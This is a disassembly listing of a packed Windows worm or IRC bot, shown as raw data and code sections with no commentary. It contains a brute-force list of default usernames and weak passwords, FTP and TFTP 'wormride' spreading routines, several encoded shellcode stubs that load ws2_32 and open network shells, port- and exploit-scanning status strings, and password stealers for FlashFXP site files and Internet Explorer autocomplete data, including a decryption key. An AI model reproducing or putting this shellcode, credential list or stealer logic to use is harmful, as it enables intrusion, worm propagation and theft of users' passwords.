; .packed:00417074o
align 4
aControl db 'control',0 ; DATA XREF: .packed:00416DC0o
; .packed:00417070o
aSiemens db 'siemens',0 ; DATA XREF: .packed:00416DBCo
; .packed:00417060o
aCompaq db 'compaq',0 ; DATA XREF: .packed:00416DB8o
; .packed:0041705Co
align 10h
aDell db 'dell',0 ; DATA XREF: .packed:00416DB4o
; .packed:00417058o
align 4
aCisco db 'cisco',0 ; DATA XREF: .packed:00416DB0o
; .packed:00417054o
align 10h
aIbm db 'ibm',0 ; DATA XREF: .packed:00416DACo
; .packed:00417050o
aOracle db 'oracle',0 ; DATA XREF: .packed:00416DA8o
; .packed:0041704Co
align 4
aSql db 'sql',0 ; DATA XREF: .packed:00416DA4o
; .packed:00417040o
aSa db 'sa',0 ; DATA XREF: .packed:00416DA0o
; .packed:0041703Co
align 4
aData db 'data',0 ; DATA XREF: .packed:00416D9Co
; .packed:00417028o
align 4
aAccess db 'access',0 ; DATA XREF: .packed:00416D98o
; .packed:00417018o
align 4
aDatabase db 'database',0 ; DATA XREF: .packed:00416D94o
; .packed:00417014o
align 10h
aDomain db 'domain',0 ; DATA XREF: .packed:00416D90o
; .packed:00417008o
align 4
aGod db 'god',0 ; DATA XREF: .packed:00416D8Co
; .packed:00416FF4o
aBackup db 'backup',0 ; DATA XREF: .packed:00416D88o
; .packed:00416FDCo
align 4
aTechnical db 'technical',0 ; DATA XREF: .packed:00416D84o
; .packed:00416FD8o
align 10h
aMary db 'mary',0 ; DATA XREF: .packed:00416D80o
; .packed:00416FCCo
align 4
aKatie db 'katie',0 ; DATA XREF: .packed:00416D7Co
; .packed:00416FC8o
align 10h
aKate db 'kate',0 ; DATA XREF: .packed:00416D74o
; .packed:00416FC0o
align 4
aGeorge db 'george',0 ; DATA XREF: .packed:00416D70o
; .packed:00416FBCo
align 10h
aEric db 'eric',0 ; DATA XREF: .packed:00416D6Co
; .packed:00416FB8o
align 4
aNone db 'none',0 ; DATA XREF: .packed:00416D68o
; .packed:00416ED0o
align 10h
aGuest db 'guest',0 ; DATA XREF: .packed:00416D64o
; .packed:00416ECCo
align 4
aChris db 'chris',0 ; DATA XREF: .packed:00416D60o
; .packed:00416FB4o
align 10h
aIan db 'ian',0 ; DATA XREF: .packed:00416D5Co
; .packed:00416FB0o
aNeil db 'neil',0 ; DATA XREF: .packed:00416D58o
; .packed:00416FACo
align 4
aLee db 'lee',0 ; DATA XREF: .packed:00416D54o
; .packed:00416FA8o
aBrian db 'brian',0 ; DATA XREF: .packed:00416D50o
; .packed:00416FA4o
align 4
aSusan db 'susan',0 ; DATA XREF: .packed:00416D48o
; .packed:00416F9Co
align 10h
aSue db 'sue',0 ; DATA XREF: .packed:00416D44o
; .packed:00416F98o
aSam db 'sam',0 ; DATA XREF: .packed:00416D40o
; .packed:00416F94o
aLuke db 'luke',0 ; DATA XREF: .packed:00416D3Co
; .packed:00416F90o
align 10h
aPeter db 'peter',0 ; DATA XREF: .packed:00416D38o
; .packed:00416D4Co ...
align 4
aJohn db 'john',0 ; DATA XREF: .packed:00416D34o
; .packed:00416F88o
align 10h
aMike db 'mike',0 ; DATA XREF: .packed:00416D30o
; .packed:00416F84o
align 4
aBill db 'bill',0 ; DATA XREF: .packed:00416D2Co
; .packed:00416F80o
align 10h
aFred db 'fred',0 ; DATA XREF: .packed:00416D28o
; .packed:00416F7Co
align 4
aJoe db 'joe',0 ; DATA XREF: .packed:00416D24o
; .packed:00416F78o
aJen db 'jen',0 ; DATA XREF: .packed:00416D20o
; .packed:00416F74o
aBob db 'bob',0 ; DATA XREF: .packed:00416D1Co
; .packed:00416D78o ...
aWwwadmin db 'wwwadmin',0 ; DATA XREF: .packed:00416D18o
; .packed:00416F44o
align 10h
aOemuser db 'oemuser',0 ; DATA XREF: .packed:00416D14o
; .packed:00416F3Co
aUser db 'user',0 ; DATA XREF: .packed:00416D10o
; .packed:00416F34o
align 10h
aHomeuser db 'homeuser',0 ; DATA XREF: .packed:00416D0Co
; .packed:00416F30o
align 4
aHome db 'home',0 ; DATA XREF: .packed:00416D08o
; .packed:00416F2Co
align 4
aInternet db 'internet',0 ; DATA XREF: .packed:00416D04o
; .packed:00416DD0o ...
align 10h
aWww db 'www',0 ; DATA XREF: .packed:00416D00o
; .packed:00416F14o
aWeb db 'web',0 ; DATA XREF: .packed:00416CFCo
; .packed:00416F10o
aRoot db 'root',0 ; DATA XREF: .packed:00416CF8o
; .packed:00416EF4o
align 10h
aServer_0 db 'server',0 ; DATA XREF: .packed:00416CF4o
; .packed:00416EF0o
align 4
aLinux db 'linux',0 ; DATA XREF: .packed:00416CECo
; .packed:00416EE0o
align 10h
aUnix db 'unix',0 ; DATA XREF: .packed:00416CE8o
; .packed:00416EDCo
align 4
aComputer db 'computer',0 ; DATA XREF: .packed:00416CE4o
; .packed:00416ED8o
align 4
aAdm db 'adm',0 ; DATA XREF: .packed:00416CE0o
; .packed:00416E48o
aAdmin db 'admin',0 ; DATA XREF: .packed:00416CDCo
; .packed:00416E44o
align 10h
aAdmins db 'admins',0 ; DATA XREF: .packed:00416CD8o
; .packed:00416E40o
align 4
aAdministrat db 'administrat',0 ; DATA XREF: .packed:00416CD4o
; .packed:00416E3Co
aAdministrateur db 'administrateur',0 ; DATA XREF: .packed:00416CD0o
; .packed:00416E38o
align 4
aAdministrador db 'administrador',0 ; DATA XREF: .packed:00416CCCo
; .packed:00416E34o
align 4
aAdministrator db 'administrator',0 ; DATA XREF: .packed:00416CC8o
; .packed:00416E30o
align 4
a231 db '231 -',0Dh,0Ah,0 ; DATA XREF: sub_40D6E0:loc_40DB99o
a221 db '221 -',0Dh,0Ah,0 ; DATA XREF: sub_40D6E0+48Ao
dword_417634 dd 128170h ; DATA XREF: sub_40D6E0:loc_40DB62r
align 10h
unk_417640 db 2Dh ; - ; DATA XREF: sub_40D6E0+463o
db 3, 30h, 34h
db 2
db 25h, 73h, 3
db 2
aU_TransferToSC db '- %u. Transfer to %s complete.',0
aFtp_0 db 'ftp',0 ; DATA XREF: sub_40D6E0+45Eo
dword_41766C dd 8E2D0h ; DATA XREF: sub_40D6E0:loc_40DAA7r
dd 2 dup(0)
dword_417678 dd 20363232h, 0A0D2Dh ; DATA XREF: sub_40D6E0+386o
; sub_40D6E0+41Ao
aX32000Fh1024Ja db '-x 3 2000 fh 1024 Jan 1 0:00 .',0Dh,0Ah ; DATA XREF: sub_40D6E0+353o
db 'drwxr-xr-x 3 2000 fh 1024 Jan 1 0:00 ..',0Dh,0Ah
db '-rwxr-xr-x 3 2000 fh %u Jan 1 0:00 %s',0Dh,0Ah,0
align 4
a150 db '150 -',0Dh,0Ah,0 ; DATA XREF: sub_40D6E0+2AAo
; sub_40D6E0+3D3o
dword_4176FC dd 0A7CF0h ; DATA XREF: sub_40D6E0:loc_40D97Er
dd 2 dup(0)
dword_417708 dd 20333132h, 0A0D7525h, 0 ; DATA XREF: sub_40D6E0+270o
dword_417714 dd 146630h ; DATA XREF: sub_40D6E0:loc_40D8FEr
align 10h
dword_417720 dd 20303032h, 0A0D2Dh ; DATA XREF: sub_40D6E0:loc_40D8F4o
aUUUUUU db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_40D6E0+1BBo
align 4
dword_41773C dd 1242F0h ; DATA XREF: sub_40D6E0:loc_40D87Br
dd 2 dup(0)
dword_417748 dd 20353234h, 0A0D2Dh ; DATA XREF: sub_40D6E0+191o
dword_417750 dd 12ABA8h ; DATA XREF: sub_40D6E0+189r
dd 2 dup(0)
dword_41775C dd 1231B0h ; DATA XREF: sub_40D6E0:loc_40D85Dr
dd 2 dup(0)
dword_417768 dd 20373532h, 20222F22h, 0A0D2Dh ; DATA XREF: sub_40D6E0+173o
dword_417774 dd 25A70h ; DATA XREF: sub_40D6E0:loc_40D84Br
dd 0
dword_41777C dd 20313132h, 0A0D2Dh ; DATA XREF: sub_40D6E0+161o
dword_417784 dd 0F9170h ; DATA XREF: sub_40D6E0:loc_40D839r
align 10h
dword_417790 dd 20353132h, 0A0D2Dh ; DATA XREF: sub_40D6E0+14Fo
dword_417798 dd 147CF0h ; DATA XREF: sub_40D6E0+147r
dd 2 dup(0)
dword_4177A4 dd 20303332h, 0A0D2Dh ; DATA XREF: sub_40D6E0+129o
dword_4177AC dd 12AE10h ; DATA XREF: sub_40D6E0:loc_40D7FAr
dd 2 dup(0)
dword_4177B8 dd 20313333h, 0A0D2Dh ; DATA XREF: sub_40D6E0+110o
dword_4177C0 dd 1386D0h ; DATA XREF: sub_40D6E0+101r
dd 2 dup(0)
dword_4177CC dd 0A0D20h ; DATA XREF: sub_40D6E0+ACo
dword_4177D0 dd 20303232h, 0A0D2Dh ; DATA XREF: sub_40D6E0+11o
dword_4177D8 dd 303332h ; DATA XREF: sub_40DBD7+143o
dword_4177DC dd 53534150h, 0A0D3120h, 0 ; DATA XREF: sub_40DBD7+F0o
dword_4177E8 dd 313333h ; DATA XREF: sub_40DBD7+D1o
dword_4177EC dd 52455355h, 0A0D3120h, 0 ; DATA XREF: sub_40DBD7+76o
dword_4177F8 dd 303232h ; DATA XREF: sub_40DBD7+59o
unk_4177FC db 2Dh ; - ; DATA XREF: sub_40DD36+A4o
db 3, 30h, 34h
db 2
db 25h, 75h, 3
db 2
aRunningFtpWorm db '- Running FTP wormride thread',0
align 4
a127_0_0_1 db '127.0.0.1',0 ; DATA XREF: sub_40DD36+44o
align 10h
aFtpWormrideThr db 'FTP wormride thread',0 ; DATA XREF: sub_40DE4C+34o
dword_417844 dd 4000500h, 7868746Bh, 0 ; DATA XREF: sub_40DE9A+369o
unk_417850 db 2Dh ; - ; DATA XREF: sub_40DE9A+34Bo
db 3, 30h, 34h
db 2
db 25h, 73h, 3
db 2
aU_TftpTransfer db '- %u. tftp transfer to %s complete.',0
align 10h
aWormride db 'wormride',0 ; DATA XREF: sub_40DE9A+346o
align 4
dword_41788C dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh
; DATA XREF: sub_40DE9A+1FEo
aOctet db 'octet',0 ; DATA XREF: sub_40DE9A+1CEo
align 4
unk_4178A8 db 2Dh ; - ; DATA XREF: sub_40DE9A+E5o
db 3, 30h, 34h
db 2
db 25h, 75h, 3
db 2
aRunningTftpWor db '- Running TFTP wormride thread',0
aTftpWormrideTh db 'TFTP wormride thread',0 ; DATA XREF: sub_40E243+2Bo
align 4
loc_4178E8: ; DATA XREF: sub_40E399+3Eo
jmp short loc_4178FF
; ---------------------------------------------------------------------------
loc_4178EA: ; CODE XREF: .packed:loc_4178FFp
mov ecx, 0
xor ecx, 0
pop esi
loc_4178F6: ; CODE XREF: .packed:004178FBj
xor byte ptr [ecx+esi-1], 0
loop loc_4178F6
jmp short near ptr dword_417904
; ---------------------------------------------------------------------------
loc_4178FF: ; CODE XREF: .packed:loc_4178E8j
call loc_4178EA
; ---------------------------------------------------------------------------
dword_417904 dd 0 ; CODE XREF: .packed:004178FDj
dword_417908 dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h
; DATA XREF: sub_40E2C1+7Eo
dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h
dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h
dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh
dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh
dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h
dd 6853h, 2680000h, 8B000000h, 6AD88BD4h, 0BA535210h, 5A603063h
dd 0B450D6FFh, 53555002h, 605800BAh, 0BFD6FFE2h, 0
; ---------------------------------------------------------------------------
jmp ebp
; ---------------------------------------------------------------------------
align 4
dword_4179BC dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h
; DATA XREF: sub_40E2C1+4Do
dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h
dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h
dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh
dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh
dd 81F88BD6h, 200ECh, 53EC8B00h, 26A016Ah, 835383BAh, 53D6FF00h
dd 2685353h, 8B000000h, 6AD88BD4h, 0BA535210h, 0C2A69000h
dd 5040D6FFh, 3B7ABA53h, 0D6FFA173h, 0BA535050h, 69D310h
dd 0D88BD6FFh, 0B450C033h, 53555002h, 605800BAh, 0BFD6FFE2h
dd 0
; ---------------------------------------------------------------------------
jmp ebp
; ---------------------------------------------------------------------------
align 4
dword_417A84 dd 8B64DB33h, 408B3043h, 1C708B0Ch, 8788BADh, 45E8h, 8B565300h
; DATA XREF: sub_40E2C1+1Ao
dd 5C8B3C5Fh, 0DF03783Bh, 205B8B53h, 8353DF03h, 338B04C3h
dd 0C933F703h, 0C1C832ACh, 0C08405C1h, 0CA2BF675h, 2B58E975h
dd 5EEBD1D8h, 3245E03h, 0B8B66DFh, 31C5E8Bh, 8B048BDFh
dd 5B5EC703h, 685EE0FFh, 3233h, 32737768h, 92BA545Fh, 0FF84046Eh
dd 81F88BD6h, 200ECh, 6AEC8B00h, 55544310h, 7232BA53h
dd 0D6FF1979h, 27D8166h, 0ED751111h, 22047D81h, 75222222h
dd 2B450E4h, 0BA535550h, 0E2605800h, 7D81D6FFh, 20EC8300h
dd 0BFEA758Bh, 0
; ---------------------------------------------------------------------------
jmp ebp
; ---------------------------------------------------------------------------
align 4
dword_417B38 dd 8B20EC83h, 45D89ECh, 81007D89h, 200ECh, 14658900h, 8B64DB33h
; DATA XREF: sub_40E496+5Bo
dd 408B3043h, 1C708B0Ch, 8788BADh, 0E8087D89h, 45h, 5F8B5653h
dd 3B5C8B3Ch, 53DF0378h, 3205B8Bh, 0C38353DFh, 3338B04h
dd 0ACC933F7h, 0C1C1C832h, 75C08405h, 75CA2BF6h, 0D82B58E9h
dd 35EEBD1h, 0DF03245Eh, 8B0B8B66h, 0DF031C5Eh, 38B048Bh
dd 0FF5B5EC7h, 33685EE0h, 68000032h, 5F327377h, 6E92BA54h
dd 0D6FF8404h, 8B0C4589h, 46A53F8h, 475FF55h, 669000BAh
dd 83D6FFE0h, 850F04F8h, 0C5h, 0E8087D8Bh, 0Dh, 3 dup(0)
dd 18458F00h, 6A026A53h, 68535301h, 0C0000000h, 0BA1875FFh
dd 5C6BD33Dh, 4589D6FFh, 840F401Ch, 8Dh, 330C7D8Bh, 2B450C0h
dd 1475FF50h, 0BA0475FFh, 0E2605800h, 7D8BD6FFh, 74C08508h
dd 41C88B1Eh, 8D535774h, 5051104Dh, 0FF1475FFh, 0B9BA1C75h
dd 0FFCBF5BEh, 74C085D6h, 0FFC5EB40h, 5CBA1C75h, 0FF9DC593h
dd 58446AD6h, 0FC8BE02Bh, 33ABD78Bh, 59106AC0h, 8BFDE2ABh
dd 5252087Dh, 50505050h, 0FF505050h, 2CBA1875h, 0FF2694F1h
dd 0C7FE58D6h, 1BA5053h, 0FFDE34D6h, 1C75FFD6h, 0C5935CBAh
dd 0FFD6FF9Dh, 3DBA1875h, 0FF27CF53h, 0C7D8BD6h, 0BA0475FFh
dd 7315685h, 7D8BD6FFh, 46BABA08h, 0D6FFC10Ch
db 0
byte_417CB5 db 0E3h ; DATA XREF: sub_40E399+ACr
; sub_40E399+D8w
align 4
dword_417CB8 dd 4113E68Bh ; DATA XREF: sub_40E399+49r
; sub_40E399+98w
align 10h
off_417CC0 dd offset dword_417D18 ; DATA XREF: sub_40E523+40r
dd offset dword_417D0C
dd offset dword_417D04
dd offset dword_417CF0
dd offset dword_417CE4
dd offset dword_417D04
dd 3 dup(0)
dword_417CE4 dd 0CEACFBEAh, 2 dup(0) ; DATA XREF: .packed:00417CD0o
; .packed:00418E30o
dword_417CF0 dd 0D5ABFDB2h, 878E89BEh, 0A893A5C9h, 0D3C9E6h, 0
; DATA XREF: .packed:00417CCCo
; .packed:00418E2Co
dword_417D04 dd 2 dup(0) ; DATA XREF: .packed:00417CC8o
; .packed:00417CD4o ...
dword_417D0C dd 0CEA0FBE6h, 2 dup(0) ; DATA XREF: .packed:00417CC4o
; .packed:off_418E24o
dword_417D18 dd 0D5A9FFBFh, 0C38D83BFh, 0A8CAAFD2h, 0DDC5EAh, 0
; DATA XREF: .packed:off_417CC0o
; .packed:off_418E20o
dword_417D2C dd 72h ; DATA XREF: sub_40E707+F4o
dword_417D30 dd 62h ; DATA XREF: sub_40E829+7Fo
dword_417D34 dd 63h ; DATA XREF: sub_40E8E1+3Ao
dword_417D38 dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 7320676Eh
; DATA XREF: sub_40E951+66o
dd 6C6C6568h, 65646F63h, 72657320h, 20726576h, 70206E6Fh
dd 2074726Fh, 2343003h, 2037325h, 0
dword_417D70 dd 6C656853h, 646F636Ch, 65732065h, 72657672h, 206E6F20h
; DATA XREF: sub_40EA2F+79o
dd 74726F70h, 34300320h, 3752502h, 2, 0
dword_417D98 dd 96F7ADBAh ; DATA XREF: sub_40E64D+2Dr
; sub_40EE23+57o ...
dd 3 dup(0)
dd 0EF000000h, 0ADFDh, 3 dup(0)
db 2 dup(0)
word_417DBE dw 0 ; DATA XREF: sub_40EAC4+2Do
dd 0
db 2 dup(0)
off_417DC6 dd offset sub_40BC10 ; DATA XREF: sub_40E64D+5r
; sub_40E64D+Do ...
dw 3
dd 0
dd 0ADBA0000h, 0E796F7h, 3 dup(0)
dd 0ADFDEF00h, 6 dup(0)
dd offset sub_40BE68
dd 3, 0
dd 8BECABB0h, 0D692B4h, 2 dup(0)
dd 0EA000000h, 0ADFAh, 5 dup(0)
dd 0C79B0000h, 30040h, 0
dd 0BDB20000h, 0A688F9h, 3 dup(0)
dd 0ADFAEA00h, 6 dup(0)
dd offset sub_40C501
dd 3, 0
dd 0E8A0AEh, 3 dup(0)
dd 0EA000000h, 0ADFAh, 5 dup(0)
dd 0CD920000h, 30040h, 0
dd 0A0AE0000h, 0C9E8h, 3 dup(0)
dd 0ADFAEA00h, 6 dup(0)
dd offset loc_40CDA0
dd 3, 0
dd 0EBA5A9h, 3 dup(0)
dd 0EF000000h, 0ADFDh, 5 dup(0)
dd 0D3D60000h, 30040h, 0
dd 0A5A90000h, 0C9EBh, 3 dup(0)
dd 0ADFDEF00h, 6 dup(0)
dd offset sub_40D3D6
dd 3, 0
dd 0C8EBA5A9h, 3 dup(0)
dd 0EA000000h, 0ADFAh, 5 dup(0)
dd 0D3D60000h, 30040h, 0
dd 0A5A90000h, 0CFEBh, 3 dup(0)
dd 0ADFAEA00h, 6 dup(0)
dd offset sub_40D3D6
dd 3, 0
dd 9EF5AFBAh, 92CC87A2h, 2 dup(0)
dd 0E8000000h, 0C2AAFFh, 5 dup(0)
dd 0B7D00000h, 10040h, 0
dd 0AFBA0000h, 87A29EF5h, 8B92CCh, 2 dup(0)
dd 0AAFFE800h, 0C2h, 5 dup(0)
dd offset sub_40BAAF
dd 1, 0
dd 8AEBBDB3h, 0B9h, 2 dup(0)
dd 0EF000000h, 0C8ABFAh, 5 dup(0)
dd 0C63E0000h, 10040h, 0
dd 0BDB30000h, 96B98AEBh, 0CA84DFh, 2 dup(0)
dd 0ABFAEF00h, 0C8h, 5 dup(0)
dd offset nullsub_1
dd 1, 0
dd 98EBA7BDh, 0BAh, 2 dup(0)
dd 0EC000000h, 0FDh, 5 dup(0)
dd 0B61A0000h, 40h, 10h dup(0)
dword_418138 dd 6E695728h, 293233h ; DATA XREF: sub_40EB16+18Do
dword_418140 dd 696E5528h, 2978h ; DATA XREF: sub_40EB16+16Fo
dword_418148 dd 63617041h, 252F6568h, 75h ; DATA XREF: sub_40EB16+162o
aApache db 'Apache',0 ; DATA XREF: sub_40EB16+149o
align 4
aMicrosoftIisU_ db 'Microsoft-IIS/%u.%u',0 ; DATA XREF: sub_40EB16+EAo
aMicrosoftIis db 'Microsoft-IIS',0 ; DATA XREF: sub_40EB16+CAo
align 10h
aServer db 'Server:',0 ; DATA XREF: sub_40EB16+72o
aOptionsHttp1_0 db 'OPTIONS / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40EB16+Eo
db 0Dh,0Ah,0
align 10h
unk_4181A0 db 53h ; S ; DATA XREF: sub_40EE23+475o
db 63h, 61h, 6Eh
db 6Eh ; n
db 65h, 64h, 20h
db 3
db 30h, 34h, 2
db 25h ; %
db 73h, 3, 2
db 3Ah ; :
db 25h, 73h, 20h
db 69h ; i
db 6Eh, 20h, 3
db 30h ; 0
db 34h, 2, 25h
db 30h ; 0
db 2Eh, 32h, 66h
db 3
db 2, 73h, 65h
db 63h ; c
db 2Eh, 20h, 3
db 30h ; 0
db 34h, 2, 25h
db 75h ; u
db 3, 2, 20h
aOpenIpSFound db 'open IP(s) found',0
align 4
dword_4181E4 dd 2343003h, 2037325h, 2073253Ah, 6F207369h, 6E6570h
; DATA XREF: sub_40EE23+412o
dword_4181F8 dd 3430032Dh, 3752502h, 53202D02h, 6E6E6163h, 20676E69h
; DATA XREF: sub_40EE23+26Ao
dd 2343003h, 2037325h, 2073253Ah, 20726F66h, 2343003h
dd 2037525h, 63657320h, 28646E6Fh, 2973h
dword_418230 dd 6E616353h, 676E696Eh, 34300320h, 3732502h, 73253A02h
; DATA XREF: sub_40EE23+234o
dd 726F6620h, 34300320h, 3752502h, 65732002h, 646E6F63h
dd 297328h
unk_41825C db 53h ; S ; DATA XREF: sub_40F2C2+186o
db 63h, 61h, 6Eh
db 6Eh ; n
db 69h, 6Eh, 67h
db 20h
db 3, 30h, 34h
db 2
db 25h, 73h, 3
db 2
db 3Ah, 25h, 73h
db 20h
db 66h, 6Fh, 72h
db 20h
db 3, 30h, 34h
db 2
db 25h, 75h, 3
db 2
aSecondSTUSU db ' second(s), t:%u s:%u',0
align 4
dword_418294 dd 3430032Dh, 3752502h, 41202D02h, 6D657474h, 64657470h
; DATA XREF: sub_40F461+24Ao
dd 34300320h, 3752502h, 78652002h, 696F6C70h, 69746174h
dd 73286E6Fh, 6E6F2029h, 34300320h, 3752502h, 50492002h
dd 2E297328h, 0
dword_4182D8 dd 65747441h, 6974706Dh, 7420676Eh, 7865206Fh, 696F6C70h
; DATA XREF: sub_40F461+1F6o
dd 30032074h, 73250234h, 77200203h, 20687469h, 2343003h
dd 2037325h, 2E2E2Eh
unk_418308 db 2Dh ; - ; DATA XREF: sub_40F461+39o
db 3, 30h, 34h
db 2
db 25h, 75h, 3
db 2
aAttemptingTo_0 db '- Attempting to exploit IP',27h,'s in list.',0
align 4
aAttemptingToEx db 'Attempting to exploit IP',27h,'s in list.',0 ; DATA XREF: sub_40F6CD+43o
dword_41835C dd 3003203Ah, 75250234h, 202E0203h, 0 ; DATA XREF: sub_40F727+7Do
aExploitStatist db 'Exploit statistics - ',0 ; DATA XREF: sub_40F727+2Co
align 4
aListingExploit db 'Listing exploit statistics',0 ; DATA XREF: sub_40F7FD+21o
align 10h
dword_4183A0 dd 62616E55h, 7420656Ch, 6F63206Fh, 63656E6Eh, 6F742074h
; DATA XREF: sub_40F835:loc_40F8E1o
dd 34300320h, 3732502h, 6F702002h, 3207472h, 25023430h
dd 2E020373h, 0
dword_4183D0 dd 656D6954h, 2074756Fh, 7563636Fh, 20646572h, 6C696877h
; DATA XREF: sub_40F835+A5o
dd 6F632065h, 63656E6Eh, 676E6974h, 206F7420h, 2343003h
dd 2037325h, 3430033Ah, 3732502h, 202E02h
dword_418408 dd 6E6E6F43h, 65746365h, 6F742064h, 34300320h, 3732502h
; DATA XREF: sub_40F835+72o
dd 30033A02h, 73250234h, 69200203h, 3003206Eh, 75250234h
dd 203736Dh, 2Eh
dword_418438 dd 6E6E6F43h, 69746365h, 7420676Eh, 7325206Fh, 726F7020h
; DATA XREF: sub_40F908+A7o
dd 30032074h, 73250234h, 203h
unk_418458 db 53h ; S ; DATA XREF: sub_40F9C9+1B4o
db 63h, 61h, 6Eh
db 6Eh ; n
db 65h, 64h, 20h
db 25h ; %
db 73h, 20h, 69h
db 6Eh ; n
db 20h, 3, 30h
db 34h ; 4
db 2, 25h, 30h
db 2Eh ; .
db 32h, 66h, 3
db 2
db 73h, 65h, 63h
db 2Eh ; .
db 20h, 3, 30h
db 34h ; 4
db 2, 25h, 75h
db 3
db 2, 20h, 6Fh
aPenPortSFound db 'pen port(s) found',0
align 4
dword_418494 dd 33A7325h, 25023430h, 20020373h, 6F207369h, 6E6570h
; DATA XREF: sub_40F9C9+164o
dword_4184A8 dd 3430032Dh, 3752502h, 53202D02h, 6E6E6163h, 20676E69h
; DATA XREF: sub_40F9C9+81o
dd 70207325h, 2074726Fh, 2343003h, 2037525h, 3430032Dh
dd 3752502h, 69772002h, 3206874h, 25023430h, 20020375h
dd 6B636F73h, 73287465h, 29h
dword_4184F0 dd 6E616353h, 676E696Eh, 20732520h, 74726F70h, 34300320h
; DATA XREF: sub_40FBA7+15Fo
dd 3752502h, 30032D02h, 75250234h, 77200203h, 20687469h
dd 2343003h, 2037525h, 636F7320h, 2874656Bh, 2973h
aYa36za48dehfrv db 'yA36zA48dEhfrvghGRg57h5UlDv3',0 ; DATA XREF: sub_40FD22+15o
; sub_40FD22+73o
align 4
aSflashfxpSites db '%sFlashFXP\sites.dat',0 ; DATA XREF: sub_40FDB3+DAo
align 4
aFlashfxpSites_ db '\FlashFXP\sites.dat',0 ; DATA XREF: sub_40FDB3+9Co
aProgramfiles db 'ProgramFiles',0 ; DATA XREF: sub_40FDB3+91o
align 4
aSites_dat db 'sites.dat',0 ; DATA XREF: sub_40FDB3+6Co
align 4
aFlashfxp_exe1 db 'FlashFXP.exe %1',0 ; DATA XREF: sub_40FDB3+55o
aSoftwareClasse db 'SOFTWARE\Classes\Applications\FlashFXP.exe\shell\open\command',0
; DATA XREF: sub_40FDB3+15o
align 4
unk_4185E4 db 2Dh ; - ; DATA XREF: sub_40FEB8+2D3o
db 3, 30h, 34h
db 2
db 25h, 75h, 3
db 2
db 2Dh, 20h, 4Ch
db 69h ; i
db 73h, 74h, 65h
db 64h ; d
db 20h, 3, 30h
db 34h ; 4
db 2, 25h, 75h
db 3
db 2, 2Fh, 3
db 30h ; 0
db 34h, 2, 25h
db 75h ; u
db 3, 2, 20h
aFlashfxpPass_0 db 'FlashFXP password(s).',0
align 10h
dword_418620 dd 2343003h, 2037525h ; DATA XREF: sub_40FEB8+27Ao
a_FlashfxpFtpSS db '. FlashFXP - ftp://%s:%s@%s:%s - %s',0
aPass127s db 0Dh,0Ah ; DATA XREF: sub_40FEB8+219o
db 'Pass=%127s',0Dh,0Ah,0
align 4
aUser127s db 0Dh,0Ah ; DATA XREF: sub_40FEB8+202o
db 'User=%127s',0Dh,0Ah,0
align 4
aPort127s db 0Dh,0Ah ; DATA XREF: sub_40FEB8+1EBo
db 'Port=%127s',0Dh,0Ah,0
align 4
aIp127s db 0Dh,0Ah ; DATA XREF: sub_40FEB8+1D4o
db 'IP=%127s',0Dh,0Ah,0
align 4
asc_41868C db '[%[^]]]',0Dh,0Ah,0 ; DATA XREF: sub_40FEB8+1A7o
align 4
aPass_0 db 0Dh,0Ah ; DATA XREF: sub_40FEB8+130o
db 'Pass=',0
aUser_0 db 0Dh,0Ah ; DATA XREF: sub_40FEB8+122o
db 'User=',0
aPort db 0Dh,0Ah ; DATA XREF: sub_40FEB8+114o
db 'Port=',0
aIp db 0Dh,0Ah ; DATA XREF: sub_40FEB8+107o
db 'IP=',0
align 4
asc_4186B8 db 0Dh,0Ah ; DATA XREF: sub_40FEB8:loc_40FFB4o
db 0Dh,0Ah
db '[',0
align 10h
unk_4186C0 db 2Dh ; - ; DATA XREF: sub_40FEB8+5Co
db 3, 30h, 34h
db 2
db 25h, 75h, 3
db 2
aListingFlashfx db '- Listing FlashFXP passwords',0
align 4
aFlashfxpPasswo db 'FlashFXP password stealer',0 ; DATA XREF: sub_4101AE+21o
align 4
unk_418704 db 2Dh ; - ; DATA XREF: sub_4101E6+718o
db 3, 30h, 34h
db 2
db 25h, 75h, 3
db 2
db 2Dh, 20h, 4Ch
db 69h ; i
db 73h, 74h, 65h
db 64h ; d
db 20h, 3, 30h
db 34h ; 4
db 2, 25h, 75h
db 3
db 2, 20h, 69h
aNternetExplore db 'nternet explorer password(s).',0
align 10h
dword_418740 dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6D6F436Fh
; DATA XREF: sub_4101E6+688o
dd 74656C70h, 61502065h, 6F777373h, 20736472h, 6953202Dh
dd 203A6574h, 2343003h, 2037325h, 614E202Eh, 203A656Dh
dd 2343003h, 2037325h, 6150202Eh, 6F777373h, 203A6472h
dd 2343003h, 2037325h, 2Eh
dword_41879C dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6F43206Fh
; DATA XREF: sub_4101E6+5F2o
dd 656C706Dh, 66206574h, 646C6569h, 202D2073h, 6C656946h
dd 3203A64h, 25023430h, 2E020373h, 74614420h, 3203A61h
dd 25023430h, 2E020373h, 0
dword_4187E4 dd 70747468h, 2F3A73h ; DATA XREF: sub_4101E6+5B0o
dword_4187EC dd 70747468h, 2F3Ah ; DATA XREF: sub_4101E6+599o
dword_4187F4 dd 7274533Ah, 676E69h ; DATA XREF: sub_4101E6+554o
aStringindex db 'StringIndex',0 ; DATA XREF: sub_4101E6+53Fo
aE161255a db 'e161255a',0 ; DATA XREF: sub_4101E6+525o
align 4
dword_418814 dd 2343003h, 2037525h, 534D202Eh, 7845204Eh, 726F6C70h
; DATA XREF: sub_4101E6+4FEo
